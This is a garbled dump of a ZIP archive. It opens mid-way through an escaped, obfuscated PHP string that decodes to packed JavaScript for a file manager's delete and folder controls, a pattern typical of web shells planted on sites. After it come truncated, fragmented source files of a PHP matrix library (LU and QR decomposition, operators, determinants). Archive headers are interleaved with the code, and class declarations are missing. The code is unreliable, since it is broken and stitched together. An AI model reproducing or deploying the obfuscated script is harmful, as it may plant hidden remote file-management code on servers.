29\x2b\50\50\x63\75\x63\45\141\x29\76\63\x35\77\x53\x74\x72\x69\x6e\x67\56\x66\x72\x6f\155\103\x68\x61\x72\103\x6f\x64\x65\x28\x63\53\62\71\x29\72\143\56\164\x6f\x53\164\x72\151\x6e\147\x28\x33\x36\x29\x29\175\73\x69\x66\50\41\x27\47\x2e\x72\145\160\154\x61\x63\145\x28\x2f\136\x2f\54\123\x74\162\151\x6e\x67\x29\x29\x7b\167\150\151\154\145\50\x63\55\55\51\173\144\x5b\145\x28\x63\51\135\75\153\x5b\143\135\174\x7c\145\x28\143\51\x7d\153\x3d\x5b\x66\x75\x6e\x63\x74\x69\157\156\x28\145\51\173\162\145\164\x75\162\x6e\x20\144\133\145\x5d\175\x5d\x3b\x65\x3d\x66\165\x6e\x63\164\151\x6f\x6e\50\51\173\162\x65\x74\x75\162\x6e\47\x5c\x5c\167\53\x27\x7d\x3b\x63\75\61\x7d\x3b\167\x68\151\154\x65\x28\143\55\x2d\51\173\151\x66\x28\x6b\x5b\143\135\51\173\x70\x3d\x70\x2e\162\145\160\x6c\x61\x63\x65\x28\x6e\x65\x77\x20\x52\x65\147\105\x78\x70\x28\47\134\x5c\x62\47\53\145\50\143\51\53\x27\134\134\x62\47\x2c\x27\147\47\51\x2c\153\133\x63\135\51\x7d\175\x72\x65\x74\x75\x72\156\40\x70\x7d\50\47\105\56\156\50\51\x3b\44\50\134\x27\x5b\62\x2d\x6d\75\42\x34\x22\135\x5c\x27\x29\x2e\x34\x28\51\x3b\44\x28\42\x2e\154\x22\x29\56\153\50\x6a\50\145\x29\x7b\145\56\147\50\51\x3b\x68\x20\60\75\x24\50\x36\51\x2e\65\x28\42\62\x2d\x30\x22\51\x3b\x63\x28\x7b\x62\72\x22\141\42\54\71\72\x22\x6f\x20\x69\x20\161\77\x22\54\167\72\42\x44\x20\42\x2b\x30\53\42\40\x70\40\103\x20\102\x22\x2c\101\72\67\x2c\172\x3a\67\54\x7d\x29\x2e\x79\50\x28\70\x29\x3d\x3e\x7b\x72\x28\70\51\173\x78\40\61\75\x24\50\x36\x29\x2e\65\50\42\63\x22\51\53\42\46\x74\75\x22\x2b\50\x28\x30\75\75\42\x76\42\x29\x3f\42\144\x22\x3a\x22\x66\x22\x29\x3b\x75\x2e\163\56\x33\75\x31\x7d\x7d\x29\x7d\x29\73\x27\x2c\64\x31\54\x34\x31\54\47\164\171\x70\145\174\x62\165\151\x6c\144\125\122\114\x7c\x64\x61\164\x61\x7c\150\x72\x65\146\174\164\x6f\x6f\x6c\164\x69\x70\x7c\x61\x74\164\x72\174\x74\150\151\163\x7c\164\162\x75\145\174\x77\151\x6c\154\104\x65\x6c\x65\x74\145\x7c\x74\x69\x74\154\145\x7c\167\x61\x72\x6e\x69\x6e\147\174\151\x63\157\156\x7c\x73\167\141\154\174\x7c\174\x7c\160\x72\x65\166\145\x6e\x74\104\145\146\141\x75\154\x74\x7c\x6c\145\x74\x7c\x79\157\165\174\146\x75\x6e\143\164\x69\157\x6e\174\x63\x6c\x69\143\153\174\144\x65\x6c\x65\164\145\x7c\x74\x6f\147\147\x6c\145\174\x69\x6e\151\164\174\x41\x72\x65\174\x77\x69\154\154\174\163\165\x72\x65\x7c\x69\146\174\154\x6f\x63\x61\164\151\157\x6e\174\x7c\144\x6f\143\165\155\145\x6e\x74\x7c\146\157\x6c\144\x65\x72\x7c\164\x65\170\x74\174\x63\157\x6e\163\164\x7c\164\x68\x65\x6e\x7c\144\141\x6e\147\145\162\x4d\x6f\144\145\174\x62\x75\164\164\x6f\156\x73\174\144\145\x6c\x65\164\x65\x64\174\142\145\x7c\x54\150\x69\x73\x7c\142\x73\x43\165\x73\164\157\155\x46\x69\x6c\145\x49\156\x70\x75\164\47\x2e\163\x70\x6c\x69\x74\x28\47\174\47\x29\54\60\x2c\173\175\x29\x29\74\x2f\x73\x63\x72\151\160\x74\x3e\x20\74\x2f\142\157\144\171\x3e\40\74\57\x68\164\x6d\x6c\x3e\xa"; ?>PKZmatrix/examples/index.phpnu[PKZ&$matrix/classes/src/Div0Exception.phpnu[toArray(); for ($x = 0; $x < $dimensions; ++$x) { $grid[$x][$x] = 1; } return new Matrix($grid); } } PKZx!ӱ matrix/classes/src/Exception.phpnu[buildFromArray(array_values($grid)); } /* * Create a new Matrix object from an array of values * * @param array $grid */ protected function buildFromArray(array $grid): void { $this->rows = count($grid); $columns = array_reduce( $grid, function ($carry, $value) { return max($carry, is_array($value) ? count($value) : 1); } ); $this->columns = $columns; array_walk( $grid, function (&$value) use ($columns) { if (!is_array($value)) { $value = [$value]; } $value = array_pad(array_values($value), $columns, null); } ); $this->grid = $grid; } /** * Validate that a row number is a positive integer * * @param int $row * @return int * @throws Exception */ public static function validateRow(int $row): int { if ((!is_numeric($row)) || (intval($row) < 1)) { throw new Exception('Invalid Row'); } return (int)$row; } /** * Validate that a column number is a positive integer * * @param int $column * @return int * @throws Exception */ public static function validateColumn(int $column): int { if ((!is_numeric($column)) || (intval($column) < 1)) { throw new Exception('Invalid Column'); } return (int)$column; } /** * Validate that a row number falls within the set of rows for this matrix * * @param int $row * @return int * @throws Exception */ protected function validateRowInRange(int $row): int { $row = static::validateRow($row); if ($row > $this->rows) { throw new Exception('Requested Row exceeds matrix size'); } return $row; } /** * Validate that a column number falls within the set of columns for this matrix * * @param int $column * @return int * @throws Exception */ protected function validateColumnInRange(int $column): int { $column = static::validateColumn($column); if ($column > $this->columns) { throw new Exception('Requested Column exceeds matrix size'); } return $column; } /** * Return a new matrix as a subset of rows from this matrix, starting at row number $row, and $rowCount rows * A $rowCount value of 0 will return all rows of the matrix from $row * A negative $rowCount value will return rows until that many rows from the end of the matrix * * Note that row numbers start from 1, not from 0 * * @param int $row * @param int $rowCount * @return static * @throws Exception */ public function getRows(int $row, int $rowCount = 1): Matrix { $row = $this->validateRowInRange($row); if ($rowCount === 0) { $rowCount = $this->rows - $row + 1; } return new static(array_slice($this->grid, $row - 1, (int)$rowCount)); } /** * Return a new matrix as a subset of columns from this matrix, starting at column number $column, and $columnCount columns * A $columnCount value of 0 will return all columns of the matrix from $column * A negative $columnCount value will return columns until that many columns from the end of the matrix * * Note that column numbers start from 1, not from 0 * * @param int $column * @param int $columnCount * @return Matrix * @throws Exception */ public function getColumns(int $column, int $columnCount = 1): Matrix { $column = $this->validateColumnInRange($column); if ($columnCount < 1) { $columnCount = $this->columns + $columnCount - $column + 1; } $grid = []; for ($i = $column - 1; $i < $column + $columnCount - 1; ++$i) { $grid[] = array_column($this->grid, $i); } return (new static($grid))->transpose(); } /** * Return a new matrix as a subset of rows from this matrix, dropping rows starting at row number $row, * and $rowCount rows * A negative $rowCount value will drop rows until that many rows from the end of the matrix * A $rowCount value of 0 will remove all rows of the matrix from $row * * Note that row numbers start from 1, not from 0 * * @param int $row * @param int $rowCount * @return static * @throws Exception */ public function dropRows(int $row, int $rowCount = 1): Matrix { $this->validateRowInRange($row); if ($rowCount === 0) { $rowCount = $this->rows - $row + 1; } $grid = $this->grid; array_splice($grid, $row - 1, (int)$rowCount); return new static($grid); } /** * Return a new matrix as a subset of columns from this matrix, dropping columns starting at column number $column, * and $columnCount columns * A negative $columnCount value will drop columns until that many columns from the end of the matrix * A $columnCount value of 0 will remove all columns of the matrix from $column * * Note that column numbers start from 1, not from 0 * * @param int $column * @param int $columnCount * @return static * @throws Exception */ public function dropColumns(int $column, int $columnCount = 1): Matrix { $this->validateColumnInRange($column); if ($columnCount < 1) { $columnCount = $this->columns + $columnCount - $column + 1; } $grid = $this->grid; array_walk( $grid, function (&$row) use ($column, $columnCount) { array_splice($row, $column - 1, (int)$columnCount); } ); return new static($grid); } /** * Return a value from this matrix, from the "cell" identified by the row and column numbers * Note that row and column numbers start from 1, not from 0 * * @param int $row * @param int $column * @return mixed * @throws Exception */ public function getValue(int $row, int $column) { $row = $this->validateRowInRange($row); $column = $this->validateColumnInRange($column); return $this->grid[$row - 1][$column - 1]; } /** * Returns a Generator that will yield each row of the matrix in turn as a vector matrix * or the value of each cell if the matrix is a column vector * * @return Generator|Matrix[]|mixed[] */ public function rows(): Generator { foreach ($this->grid as $i => $row) { yield $i + 1 => ($this->columns == 1) ? $row[0] : new static([$row]); } } /** * Returns a Generator that will yield each column of the matrix in turn as a vector matrix * or the value of each cell if the matrix is a row vector * * @return Generator|Matrix[]|mixed[] */ public function columns(): Generator { for ($i = 0; $i < $this->columns; ++$i) { yield $i + 1 => ($this->rows == 1) ? $this->grid[0][$i] : new static(array_column($this->grid, $i)); } } /** * Identify if the row and column dimensions of this matrix are equal, * i.e. if it is a "square" matrix * * @return bool */ public function isSquare(): bool { return $this->rows === $this->columns; } /** * Identify if this matrix is a vector * i.e. if it comprises only a single row or a single column * * @return bool */ public function isVector(): bool { return $this->rows === 1 || $this->columns === 1; } /** * Return the matrix as a 2-dimensional array * * @return array */ public function toArray(): array { return $this->grid; } /** * Solve A*X = B. * * @param Matrix $B Right hand side * * @throws Exception * * @return Matrix ... Solution if A is square, least squares solution otherwise */ public function solve(Matrix $B): Matrix { if ($this->columns === $this->rows) { return (new LU($this))->solve($B); } return (new QR($this))->solve($B); } protected static $getters = [ 'rows', 'columns', ]; /** * Access specific properties as read-only (no setters) * * @param string $propertyName * @return mixed * @throws Exception */ public function __get(string $propertyName) { $propertyName = strtolower($propertyName); // Test for function calls if (in_array($propertyName, self::$getters)) { return $this->$propertyName; } throw new Exception('Property does not exist'); } protected static $functions = [ 'adjoint', 'antidiagonal', 'cofactors', 'determinant', 'diagonal', 'identity', 'inverse', 'minors', 'trace', 'transpose', ]; protected static $operations = [ 'add', 'subtract', 'multiply', 'divideby', 'divideinto', 'directsum', ]; /** * Returns the result of the function call or operation * * @param string $functionName * @param mixed[] $arguments * @return Matrix|float * @throws Exception */ public function __call(string $functionName, $arguments) { $functionName = strtolower(str_replace('_', '', $functionName)); // Test for function calls if (in_array($functionName, self::$functions, true)) { return Functions::$functionName($this, ...$arguments); } // Test for operation calls if (in_array($functionName, self::$operations, true)) { return Operations::$functionName($this, ...$arguments); } throw new Exception('Function or Operation does not exist'); } } PKZƵ NN!matrix/classes/src/Operations.phpnu[execute($matrix); } return $result->result(); } public static function directsum(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('DirectSum operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('DirectSum arguments must be Matrix or array'); } $result = new DirectSum($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function divideby(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Division operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Division arguments must be Matrix or array'); } $result = new Division($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function divideinto(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Division operation requires at least 2 arguments'); } $matrix = array_pop($matrixValues); $matrixValues = array_reverse($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Division arguments must be Matrix or array'); } $result = new Division($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function multiply(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Multiplication operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Multiplication arguments must be Matrix or array'); } $result = new Multiplication($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } public static function subtract(...$matrixValues): Matrix { if (count($matrixValues) < 2) { throw new Exception('Subtraction operation requires at least 2 arguments'); } $matrix = array_shift($matrixValues); if (is_array($matrix)) { $matrix = new Matrix($matrix); } if (!$matrix instanceof Matrix) { throw new Exception('Subtraction arguments must be Matrix or array'); } $result = new Subtraction($matrix); foreach ($matrixValues as $matrix) { $result->execute($matrix); } return $result->result(); } } PKZ/y2matrix/classes/src/Decomposition/Decomposition.phpnu[luMatrix = $matrix->toArray(); $this->rows = $matrix->rows; $this->columns = $matrix->columns; $this->buildPivot(); } /** * Get lower triangular factor. * * @return Matrix Lower triangular factor */ public function getL(): Matrix { $lower = []; $columns = min($this->rows, $this->columns); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $columns; ++$column) { if ($row > $column) { $lower[$row][$column] = $this->luMatrix[$row][$column]; } elseif ($row === $column) { $lower[$row][$column] = 1.0; } else { $lower[$row][$column] = 0.0; } } } return new Matrix($lower); } /** * Get upper triangular factor. * * @return Matrix Upper triangular factor */ public function getU(): Matrix { $upper = []; $rows = min($this->rows, $this->columns); for ($row = 0; $row < $rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row <= $column) { $upper[$row][$column] = $this->luMatrix[$row][$column]; } else { $upper[$row][$column] = 0.0; } } } return new Matrix($upper); } /** * Return pivot permutation vector. * * @return Matrix Pivot matrix */ public function getP(): Matrix { $pMatrix = []; $pivots = $this->pivot; $pivotCount = count($pivots); foreach ($pivots as $row => $pivot) { $pMatrix[$row] = array_fill(0, $pivotCount, 0); $pMatrix[$row][$pivot] = 1; } return new Matrix($pMatrix); } /** * Return pivot permutation vector. * * @return array Pivot vector */ public function getPivot(): array { return $this->pivot; } /** * Is the matrix nonsingular? * * @return bool true if U, and hence A, is nonsingular */ public function isNonsingular(): bool { for ($diagonal = 0; $diagonal < $this->columns; ++$diagonal) { if ($this->luMatrix[$diagonal][$diagonal] === 0.0) { return false; } } return true; } private function buildPivot(): void { for ($row = 0; $row < $this->rows; ++$row) { $this->pivot[$row] = $row; } for ($column = 0; $column < $this->columns; ++$column) { $luColumn = $this->localisedReferenceColumn($column); $this->applyTransformations($column, $luColumn); $pivot = $this->findPivot($column, $luColumn); if ($pivot !== $column) { $this->pivotExchange($pivot, $column); } $this->computeMultipliers($column); unset($luColumn); } } private function localisedReferenceColumn($column): array { $luColumn = []; for ($row = 0; $row < $this->rows; ++$row) { $luColumn[$row] = &$this->luMatrix[$row][$column]; } return $luColumn; } private function applyTransformations($column, array $luColumn): void { for ($row = 0; $row < $this->rows; ++$row) { $luRow = $this->luMatrix[$row]; // Most of the time is spent in the following dot product. $kmax = min($row, $column); $sValue = 0.0; for ($kValue = 0; $kValue < $kmax; ++$kValue) { $sValue += $luRow[$kValue] * $luColumn[$kValue]; } $luRow[$column] = $luColumn[$row] -= $sValue; } } private function findPivot($column, array $luColumn): int { $pivot = $column; for ($row = $column + 1; $row < $this->rows; ++$row) { if (abs($luColumn[$row]) > abs($luColumn[$pivot])) { $pivot = $row; } } return $pivot; } private function pivotExchange($pivot, $column): void { for ($kValue = 0; $kValue < $this->columns; ++$kValue) { $tValue = $this->luMatrix[$pivot][$kValue]; $this->luMatrix[$pivot][$kValue] = $this->luMatrix[$column][$kValue]; $this->luMatrix[$column][$kValue] = $tValue; } $lValue = $this->pivot[$pivot]; $this->pivot[$pivot] = $this->pivot[$column]; $this->pivot[$column] = $lValue; } private function computeMultipliers($diagonal): void { if (($diagonal < $this->rows) && ($this->luMatrix[$diagonal][$diagonal] != 0.0)) { for ($row = $diagonal + 1; $row < $this->rows; ++$row) { $this->luMatrix[$row][$diagonal] /= $this->luMatrix[$diagonal][$diagonal]; } } } private function pivotB(Matrix $B): array { $X = []; foreach ($this->pivot as $rowId) { $row = $B->getRows($rowId + 1)->toArray(); $X[] = array_pop($row); } return $X; } /** * Solve A*X = B. * * @param Matrix $B a Matrix with as many rows as A and any number of columns * * @throws Exception * * @return Matrix X so that L*U*X = B(piv,:) */ public function solve(Matrix $B): Matrix { if ($B->rows !== $this->rows) { throw new Exception('Matrix row dimensions are not equal'); } if ($this->rows !== $this->columns) { throw new Exception('LU solve() only works on square matrices'); } if (!$this->isNonsingular()) { throw new Exception('Can only perform operation on singular matrix'); } // Copy right hand side with pivoting $nx = $B->columns; $X = $this->pivotB($B); // Solve L*Y = B(piv,:) for ($k = 0; $k < $this->columns; ++$k) { for ($i = $k + 1; $i < $this->columns; ++$i) { for ($j = 0; $j < $nx; ++$j) { $X[$i][$j] -= $X[$k][$j] * $this->luMatrix[$i][$k]; } } } // Solve U*X = Y; for ($k = $this->columns - 1; $k >= 0; --$k) { for ($j = 0; $j < $nx; ++$j) { $X[$k][$j] /= $this->luMatrix[$k][$k]; } for ($i = 0; $i < $k; ++$i) { for ($j = 0; $j < $nx; ++$j) { $X[$i][$j] -= $X[$k][$j] * $this->luMatrix[$i][$k]; } } } return new Matrix($X); } } PKZd'matrix/classes/src/Decomposition/QR.phpnu[qrMatrix = $matrix->toArray(); $this->rows = $matrix->rows; $this->columns = $matrix->columns; $this->decompose(); } public function getHouseholdVectors(): Matrix { $householdVectors = []; for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row >= $column) { $householdVectors[$row][$column] = $this->qrMatrix[$row][$column]; } else { $householdVectors[$row][$column] = 0.0; } } } return new Matrix($householdVectors); } public function getQ(): Matrix { $qGrid = []; $rowCount = $this->rows; for ($k = $this->columns - 1; $k >= 0; --$k) { for ($i = 0; $i < $this->rows; ++$i) { $qGrid[$i][$k] = 0.0; } $qGrid[$k][$k] = 1.0; if ($this->columns > $this->rows) { $qGrid = array_slice($qGrid, 0, $this->rows); } for ($j = $k; $j < $this->columns; ++$j) { if (isset($this->qrMatrix[$k], $this->qrMatrix[$k][$k]) && $this->qrMatrix[$k][$k] != 0.0) { $s = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $s += $this->qrMatrix[$i][$k] * $qGrid[$i][$j]; } $s = -$s / $this->qrMatrix[$k][$k]; for ($i = $k; $i < $this->rows; ++$i) { $qGrid[$i][$j] += $s * $this->qrMatrix[$i][$k]; } } } } array_walk( $qGrid, function (&$row) use ($rowCount) { $row = array_reverse($row); $row = array_slice($row, 0, $rowCount); } ); return new Matrix($qGrid); } public function getR(): Matrix { $rGrid = []; for ($row = 0; $row < $this->columns; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { if ($row < $column) { $rGrid[$row][$column] = $this->qrMatrix[$row][$column] ?? 0.0; } elseif ($row === $column) { $rGrid[$row][$column] = $this->rDiagonal[$row] ?? 0.0; } else { $rGrid[$row][$column] = 0.0; } } } if ($this->columns > $this->rows) { $rGrid = array_slice($rGrid, 0, $this->rows); } return new Matrix($rGrid); } private function hypo($a, $b): float { if (abs($a) > abs($b)) { $r = $b / $a; $r = abs($a) * sqrt(1 + $r * $r); } elseif ($b != 0.0) { $r = $a / $b; $r = abs($b) * sqrt(1 + $r * $r); } else { $r = 0.0; } return $r; } /** * QR Decomposition computed by Householder reflections. */ private function decompose(): void { for ($k = 0; $k < $this->columns; ++$k) { // Compute 2-norm of k-th column without under/overflow. $norm = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $norm = $this->hypo($norm, $this->qrMatrix[$i][$k]); } if ($norm != 0.0) { // Form k-th Householder vector. if ($this->qrMatrix[$k][$k] < 0.0) { $norm = -$norm; } for ($i = $k; $i < $this->rows; ++$i) { $this->qrMatrix[$i][$k] /= $norm; } $this->qrMatrix[$k][$k] += 1.0; // Apply transformation to remaining columns. for ($j = $k + 1; $j < $this->columns; ++$j) { $s = 0.0; for ($i = $k; $i < $this->rows; ++$i) { $s += $this->qrMatrix[$i][$k] * $this->qrMatrix[$i][$j]; } $s = -$s / $this->qrMatrix[$k][$k]; for ($i = $k; $i < $this->rows; ++$i) { $this->qrMatrix[$i][$j] += $s * $this->qrMatrix[$i][$k]; } } } $this->rDiagonal[$k] = -$norm; } } public function isFullRank(): bool { for ($j = 0; $j < $this->columns; ++$j) { if ($this->rDiagonal[$j] == 0.0) { return false; } } return true; } /** * Least squares solution of A*X = B. * * @param Matrix $B a Matrix with as many rows as A and any number of columns * * @throws Exception * * @return Matrix matrix that minimizes the two norm of Q*R*X-B */ public function solve(Matrix $B): Matrix { if ($B->rows !== $this->rows) { throw new Exception('Matrix row dimensions are not equal'); } if (!$this->isFullRank()) { throw new Exception('Can only perform this operation on a full-rank matrix'); } // Compute Y = transpose(Q)*B $Y = $this->getQ()->transpose() ->multiply($B); // Solve R*X = Y; return $this->getR()->inverse() ->multiply($Y); } } PKZqO@@,matrix/classes/src/Operators/Subtraction.phpnu[subtractMatrix($value); } elseif (is_numeric($value)) { return $this->subtractScalar($value); } throw new Exception('Invalid argument for subtraction'); } /** * Execute the subtraction for a scalar * * @param mixed $value The numeric value to subtracted from the current base value * @return $this The operation object, allowing multiple additions to be chained **/ protected function subtractScalar($value): Operator { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] -= $value; } } return $this; } /** * Execute the subtraction for a matrix * * @param Matrix $value The numeric value to subtract from the current base value * @return $this The operation object, allowing multiple subtractions to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function subtractMatrix(Matrix $value): Operator { $this->validateMatchingDimensions($value); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] -= $value->getValue($row + 1, $column + 1); } } return $this; } } PKZ*ʞ)matrix/classes/src/Operators/Operator.phpnu[rows = $matrix->rows; $this->columns = $matrix->columns; $this->matrix = $matrix->toArray(); } /** * Compare the dimensions of the matrices being operated on to see if they are valid for addition/subtraction * * @param Matrix $matrix The second Matrix object on which the operation will be performed * @throws Exception */ protected function validateMatchingDimensions(Matrix $matrix): void { if (($this->rows != $matrix->rows) || ($this->columns != $matrix->columns)) { throw new Exception('Matrices have mismatched dimensions'); } } /** * Compare the dimensions of the matrices being operated on to see if they are valid for multiplication/division * * @param Matrix $matrix The second Matrix object on which the operation will be performed * @throws Exception */ protected function validateReflectingDimensions(Matrix $matrix): void { if ($this->columns != $matrix->rows) { throw new Exception('Matrices have mismatched dimensions'); } } /** * Return the result of the operation * * @return Matrix */ public function result(): Matrix { return new Matrix($this->matrix); } } PKZ/FG*matrix/classes/src/Operators/DirectSum.phpnu[directSumMatrix($value); } throw new Exception('Invalid argument for addition'); } /** * Execute the direct sum for a matrix * * @param Matrix $value The numeric value to concatenate/direct sum with the current base value * @return $this The operation object, allowing multiple additions to be chained **/ private function directSumMatrix($value): Operator { $originalColumnCount = count($this->matrix[0]); $originalRowCount = count($this->matrix); $valColumnCount = $value->columns; $valRowCount = $value->rows; $value = $value->toArray(); for ($row = 0; $row < $this->rows; ++$row) { $this->matrix[$row] = array_merge($this->matrix[$row], array_fill(0, $valColumnCount, 0)); } $this->matrix = array_merge( $this->matrix, array_fill(0, $valRowCount, array_fill(0, $originalColumnCount, 0)) ); for ($row = $originalRowCount; $row < $originalRowCount + $valRowCount; ++$row) { array_splice( $this->matrix[$row], $originalColumnCount, $valColumnCount, $value[$row - $originalRowCount] ); } return $this; } } PKZ=%d d /matrix/classes/src/Operators/Multiplication.phpnu[multiplyMatrix($value, $type); } elseif (is_numeric($value)) { return $this->multiplyScalar($value, $type); } throw new Exception("Invalid argument for $type"); } /** * Execute the multiplication for a scalar * * @param mixed $value The numeric value to multiply with the current base value * @return $this The operation object, allowing multiple mutiplications to be chained **/ protected function multiplyScalar($value, string $type = 'multiplication'): Operator { try { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] *= $value; } } } catch (Throwable $e) { throw new Exception("Invalid argument for $type"); } return $this; } /** * Execute the multiplication for a matrix * * @param Matrix $value The numeric value to multiply with the current base value * @return $this The operation object, allowing multiple mutiplications to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function multiplyMatrix(Matrix $value, string $type = 'multiplication'): Operator { $this->validateReflectingDimensions($value); $newRows = $this->rows; $newColumns = $value->columns; $matrix = Builder::createFilledMatrix(0, $newRows, $newColumns) ->toArray(); try { for ($row = 0; $row < $newRows; ++$row) { for ($column = 0; $column < $newColumns; ++$column) { $columnData = $value->getColumns($column + 1)->toArray(); foreach ($this->matrix[$row] as $key => $valueData) { $matrix[$row][$column] += $valueData * $columnData[$key][0]; } } } } catch (Throwable $e) { throw new Exception("Invalid argument for $type"); } $this->matrix = $matrix; return $this; } } PKZ@_)matrix/classes/src/Operators/Division.phpnu[multiplyMatrix($value, $type); } elseif (is_numeric($value)) { return $this->multiplyScalar(1 / $value, $type); } throw new Exception('Invalid argument for division'); } } PKZgj)matrix/classes/src/Operators/Addition.phpnu[addMatrix($value); } elseif (is_numeric($value)) { return $this->addScalar($value); } throw new Exception('Invalid argument for addition'); } /** * Execute the addition for a scalar * * @param mixed $value The numeric value to add to the current base value * @return $this The operation object, allowing multiple additions to be chained **/ protected function addScalar($value): Operator { for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] += $value; } } return $this; } /** * Execute the addition for a matrix * * @param Matrix $value The numeric value to add to the current base value * @return $this The operation object, allowing multiple additions to be chained * @throws Exception If the provided argument is not appropriate for the operation **/ protected function addMatrix(Matrix $value): Operator { $this->validateMatchingDimensions($value); for ($row = 0; $row < $this->rows; ++$row) { for ($column = 0; $column < $this->columns; ++$column) { $this->matrix[$row][$column] += $value->getValue($row + 1, $column + 1); } } return $this; } } PKZ2S** matrix/classes/src/Functions.phpnu[isSquare()) { throw new Exception('Adjoint can only be calculated for a square matrix'); } return self::getAdjoint($matrix); } /** * Calculate the cofactors of the matrix * * @param Matrix $matrix The matrix whose cofactors we wish to calculate * @return Matrix * * @throws Exception */ private static function getCofactors(Matrix $matrix) { $cofactors = self::getMinors($matrix); $dimensions = $matrix->rows; $cof = 1; for ($i = 0; $i < $dimensions; ++$i) { $cofs = $cof; for ($j = 0; $j < $dimensions; ++$j) { $cofactors[$i][$j] *= $cofs; $cofs = -$cofs; } $cof = -$cof; } return new Matrix($cofactors); } /** * Return the cofactors of this matrix * * @param Matrix|array $matrix The matrix whose cofactors we wish to calculate * @return Matrix * * @throws Exception */ public static function cofactors($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Cofactors can only be calculated for a square matrix'); } return self::getCofactors($matrix); } /** * @param Matrix $matrix * @param int $row * @param int $column * @return float * @throws Exception */ private static function getDeterminantSegment(Matrix $matrix, $row, $column) { $tmpMatrix = $matrix->toArray(); unset($tmpMatrix[$row]); array_walk( $tmpMatrix, function (&$row) use ($column) { unset($row[$column]); } ); return self::getDeterminant(new Matrix($tmpMatrix)); } /** * Calculate the determinant of the matrix * * @param Matrix $matrix The matrix whose determinant we wish to calculate * @return float * * @throws Exception */ private static function getDeterminant(Matrix $matrix) { $dimensions = $matrix->rows; $determinant = 0; switch ($dimensions) { case 1: $determinant = $matrix->getValue(1, 1); break; case 2: $determinant = $matrix->getValue(1, 1) * $matrix->getValue(2, 2) - $matrix->getValue(1, 2) * $matrix->getValue(2, 1); break; default: for ($i = 1; $i <= $dimensions; ++$i) { $det = $matrix->getValue(1, $i) * self::getDeterminantSegment($matrix, 0, $i - 1); if (($i % 2) == 0) { $determinant -= $det; } else { $determinant += $det; } } break; } return $determinant; } /** * Return the determinant of this matrix * * @param Matrix|array $matrix The matrix whose determinant we wish to calculate * @return float * @throws Exception **/ public static function determinant($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Determinant can only be calculated for a square matrix'); } return self::getDeterminant($matrix); } /** * Return the diagonal of this matrix * * @param Matrix|array $matrix The matrix whose diagonal we wish to calculate * @return Matrix * @throws Exception **/ public static function diagonal($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Diagonal can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $grid = Builder::createFilledMatrix(0, $dimensions, $dimensions) ->toArray(); for ($i = 0; $i < $dimensions; ++$i) { $grid[$i][$i] = $matrix->getValue($i + 1, $i + 1); } return new Matrix($grid); } /** * Return the antidiagonal of this matrix * * @param Matrix|array $matrix The matrix whose antidiagonal we wish to calculate * @return Matrix * @throws Exception **/ public static function antidiagonal($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Anti-Diagonal can only be extracted from a square matrix'); } $dimensions = $matrix->rows; $grid = Builder::createFilledMatrix(0, $dimensions, $dimensions) ->toArray(); for ($i = 0; $i < $dimensions; ++$i) { $grid[$i][$dimensions - $i - 1] = $matrix->getValue($i + 1, $dimensions - $i); } return new Matrix($grid); } /** * Return the identity matrix * The identity matrix, or sometimes ambiguously called a unit matrix, of size n is the n × n square matrix * with ones on the main diagonal and zeros elsewhere * * @param Matrix|array $matrix The matrix whose identity we wish to calculate * @return Matrix * @throws Exception **/ public static function identity($matrix) { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception('Identity can only be created for a square matrix'); } $dimensions = $matrix->rows; return Builder::createIdentityMatrix($dimensions); } /** * Return the inverse of this matrix * * @param Matrix|array $matrix The matrix whose inverse we wish to calculate * @return Matrix * @throws Exception **/ public static function inverse($matrix, string $type = 'inverse') { $matrix = self::validateMatrix($matrix); if (!$matrix->isSquare()) { throw new Exception(ucfirst($type) . ' can only be calculated for a square matrix'); } $determinant = self::getDeterminant($matrix); if ($determinant == 0.0) { throw new Div0Exception(ucfirst($type) . ' can only be calculated for a matrix with a non-zero determinant'); } if ($matrix->rows == 1) { return new Matrix([[1 / $matrix->getValue(1, 1)]]); } return self::getAdjoint($matrix) ->multiply(1 / $determinant); } /** * Calculate the minors of the matrix * * @param Matrix $matrix The matrix whose minors we wish to calculate * @return array[] * * @throws Exception */ 